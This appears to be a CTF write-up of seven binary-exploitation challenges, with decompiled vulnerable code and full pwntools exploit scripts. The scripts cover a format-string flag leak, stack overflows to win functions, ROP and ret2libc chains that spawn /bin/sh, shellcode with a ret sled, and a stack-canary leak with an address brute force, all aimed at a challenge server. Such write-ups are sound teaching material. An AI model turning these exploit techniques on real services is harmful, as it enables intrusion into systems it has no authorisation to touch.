Leaky Pipes

Theres a format string bug in the vuln function, the flag is also read onto the stack. Therefore, using format string to leak stack value to get the flag.

Source Code

```
int vuln()
{
  char v1[128]; // [esp+0h] [ebp-C8h] BYREF
  char v2[68]; // [esp+80h] [ebp-48h] BYREF

  readflag(v2, 64);
  printf("Tell me your secret so I can reveal mine ;) >> ");
  __isoc99_scanf("%127s", v1);
  puts("Here's your secret.. I ain't telling mine :p");
  printf(v1);
  return putchar(10);
}
```

By writing a bruteforce script, we can find where the flag is on stack.

Flag location finder

```
from pwn import *
flag=""
for i in range(1,100):
        payload="%"+str(i)+"$p"
        io=remote("34.125.199.248", 1337)
        io.recvuntil('>>')
        io.sendline(payload)
        io.recvline()
        back=io.recvline().split("\n")
        if back[0]=="(nil)":
                continue
        back=back[0].split("0x")[1]
        if len(back)%2!=0:
                back="0"+back
        print back.decode("hex")[::-1]
        #36 45
```

Exploit Script

```
from pwn import *
flag=""
for i in range(36,45):
        payload="%"+str(i)+"$p"
        io=remote("34.125.199.248", 1337)
        io.recvuntil('>>')
        io.sendline(payload)
        io.recvline()

        back=io.recvline().split("\n")
        if back[0]=="(nil)":
                continue
        back=back[0].split("0x")[1]
        if len(back)%2!=0:
                back="0"+back
        flag+=back.decode("hex")[::-1]
print flag
```

note: This challenge uses identical script to the picoctf flag_leak challenge

Buffer Buffet

Analyzing the code, theres a clear buffer overflow by the use of gets function to read input.

Source Code

```
__int64 vuln()
{
  char v1[400]; // [rsp+0h] [rbp-190h] BYREF

  puts("Enter some text:");
  gets(v1);
  printf("You entered: %s\n", v1);
  return 0LL;
}
```

Theres also a win function at 0x04011D6

By using a cyclic pattern and debugging in gdb, we found the offset to the return address to be 408 bytes.

Cyclic pattern generator

```
def hex2str(hex_string):
    result = ""
    for i in range(0, len(hex_string), 2):
        hex_pair = hex_string[i:i+2]
        decimal_value = int(hex_pair, 16)
        char = chr(decimal_value)
        result += char
    return result
testlen=int(input("Requested Test String Length(Max 5564 Characters): "))
v=True
version=input("1. 32 Bit\n2. 64 Bit\n")
if version==2:
    v=False
if testlen>5564:
    print("Too Large")
    exit()
a='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ'
length=0
padding=""
for i in range(len(a)):
    payload = a[i] * 4
    for j in range(i+1,len(a)):
        payload+=a[j]+a[i]*3
    padding+=str(payload)+'0'
padding=padding[0:testlen]
print "Test String:",padding
back=input("Segfault Output: ")
back=hex2str(hex(back).split('0x')[1])[::-1]
if not v:
    back=back[:4]
padding=padding.split(back)
print "Padding is",len(padding[0])
print "A"*len(padding[0])
```

Exploit Script

```
from pwn import *

io=remote("34.125.199.248", 4056)
payload="A"*408+p64(0x04011D6)

io.sendlineafter(":",payload)
print io.recvuntil("}")
```

Byte Breakup

Analyzing the code, theres another buffer overflow of the same reason. However, theres only a function that calls /bin/ls, which is not what we want.

There are now two methods to solve this, the first would need a libc leak to make a full ROP chain by using ret2libc. However, theres a much simpler way to exploit without making a complicated ROP chain.

Source Code

```
push    rbp
mov     rbp, rsp
lea     rax, command    ; "/bin/ls"
mov     rdi, rax        ; command
mov     eax, 0
call    _system
nop
pop     rbp
retn
```

This is the assembly for soClose function, if we take the address of call _system, we basically can control arbitrary command if we also have the control of rdi register.

Luckly, by running ROPgadget, we found a pop rdi gadget at 0x04012bb. By running, ROPgadget –binary chal, you will see all the gadgets.

There is also a /bin/sh in the binary, by running strings -a -t x chal | grep /bin/sh, we also get the address of that. It is at address 0x3048 but also need to add 0x401000 as base address.

Exploit Script

```
from pwn import *

bin_sh=p64(0x404048)
system=p64(0x0401257)
pop_rdi=p64(0x004012bb)
io=remote("34.125.199.248", 6969)
payload="A"*40+pop_rdi+bin_sh+system
io.sendlineafter(":",payload)
io.interactive()
```

note: The libc file is given but its not nessesary to solve it, there are similar methods to solve with libc file but would be much harder.

seed sPRING

Surprisingly, this question is near identical to seed sPRING in picoctf.

https://github.com/HHousen/PicoCTF-2019/blob/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary Exploitation/seed-sPRiNG/solve.c (https://github.com/HHousen/PicoCTF-2019/blob/24b0981c72638c12f9a8572f81e1abbcf8de306d/Binary%20Exploitation/seed-sPRiNG/solve.c)

This is the solve script I've found. By compiling it and running with ./solve | nc 34.125.199.248 2534, it would be solved in a few tries.

ShellMischief

I didn't solve this personally, this is my teammate's solve.

The program basically runs arbitrary code but in random locations. By adding a nop sled would do the trick. However, our team solved it differently.

By finding the ret gadget, we made a ret sled which did the same thing as a no slep.

Exploit Script

```
from pwn import *
context(arch='i386',os='linux',log_level='debug')


sh = remote('34.125.199.248',1234)
# sh = process("./vuln")

ret_addr = 0x080481b2

# 13
shellcode = asm(shellcraft.sh())
sh.recvuntil("Enter your shellcode:\n")
# gdb.attach(sh)
# pause()
payload = p32(ret_addr)*26 + shellcode
sh.sendline(payload)
sh.interactive()
```

Lib Riddle

Analyzing the code, there is a buffer overflow due to 0x100 > 16.

Source Code

```
int __fastcall main(int argc, const char **argv, const char **envp)
{
  char buf[16]; // [rsp+0h] [rbp-10h] BYREF

  setbuf(_bss_start, 0LL);
  setbuf(stdin, 0LL);
  setbuf(stderr, 0LL);
  puts("Welcome to the library... What's your name?");
  read(0, buf, 0x100uLL);
  puts("Hello there: ");
  puts(buf);
  return 0;
}
```

By running ROPgadget again, we found pop rdi at 0x0401273. However, since this is a 64bit binary, there might possibly need a ret gadget for stack alignment. ret gadget is at 0x040101a.

By using PLT and GOT tables, we can leak address of the puts function.

https://book.hacktricks.xyz/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address (https://book.hacktricks.xyz/binary-exploitation/rop-return-oriented-programing/ret2lib/rop-leaking-libc-address)

We find the address of PLT and GOT table by reverse engineering the binary and getting the adress.

Exploit Script

```
from pwn import *

io=remote("34.125.199.248", 7809)
pop_rdi=p64(0x0401273)
puts_got=p64(0x0404018)
puts_plt=p64(0x401060)
ret=p64(0x040101a)
start=p64(0x0401090)
payload="A"*24+pop_rdi+puts_got+puts_plt+start

io.sendlineafter("?",payload)
io.recv()
io.recv(42)
libc=u64(io.recv(6)+2*"\x00")
libc=libc-0x84420
system=p64(libc+0x52290)
bin_sh=p64(libc+0x1b45bd)

payload="A"*24+ret+pop_rdi+bin_sh+system
io.sendlineafter("?",payload)
io.interactive()
```

Coal Mine Canary

Analyzing name_it function, we can get a understanding how the program works.

Source Code

```
int name_it()
{
  int v1; // [esp-Ch] [ebp-64h]
  int v2; // [esp-8h] [ebp-60h]
  int v3; // [esp-4h] [ebp-5Ch]
  int v4; // [esp+0h] [ebp-58h] BYREF
  char v5[32]; // [esp+4h] [ebp-54h] BYREF
  char v6[32]; // [esp+24h] [ebp-34h] BYREF
  int v7[2]; // [esp+44h] [ebp-14h] BYREF
  int v8; // [esp+4Ch] [ebp-Ch]

  v8 = 0;
  v7[0] = global_birdy;
  v7[1] = dword_804C050;
  printf("How many letters should its name have?\n> ");
  while ( v8 <= 31 )
  {
    read(0, &v5[v8], 1);
    if ( v5[v8] == 10 )
      break;
    ++v8;
  }
  __isoc99_sscanf(v5, "%d", &v4);
  printf("And what's the name? \n> ");
  read(0, v6, v4);
  if ( memcmp(v7, &global_birdy, 8) )
  {
    puts("*** Stack Smashing Detected *** : Are you messing with my canary?!");
    exit(-1, v1, v2, v3);
  }
  printf("Ok... its name is %s\n");
  return fflush(stdout);
}
```

It basically read from a file with a 8 byte canary, and if the canary has changed, it crashes.

We can leak this canary by saying we have >32 characters in our name and name ourselfs a 31 character name. By doing so, it will leak the canary.

The reason its not 32 is because read also reads the newline as an characters, therefore if 32 characters it will overwrite the canary and crash.

```
Working in a coal mine is dangerous stuff.
Good thing I've got my bird to protect me.
Let's give it a name.
...
How many letters should its name have?
> 33
And what's the name?
> AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Ok... its name is AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
NECGLSPQ
```

The canary is NECGLSPQ

However, this is where most people get stuck. It seems easy we can just overwrite to return address and jump to tweet_tweet which is the win function. However, it is later know that there is PIE on the binary...

What I did is just bruteforce the address without knowing the existance of PIE.

Exploit Script

```
from pwn import *

for i in range(1024):
    io=remote("34.125.199.248", 5674)
#io=process("./chal")
    win=p32(0x08049259)
    payload="A"*32+"NECGLSPQ"+"A"*12+"BBBB"+p32(0x8049259+i)

    io.recvuntil(">")
    io.sendline("300")

    io.sendafter("> ",payload)
    io.recvuntil("BBBB")

    try:
        print hex(u32(io.recv(4)))
        print io.recvuntil("}")
    except:
        print "NONE"
    io.close()
```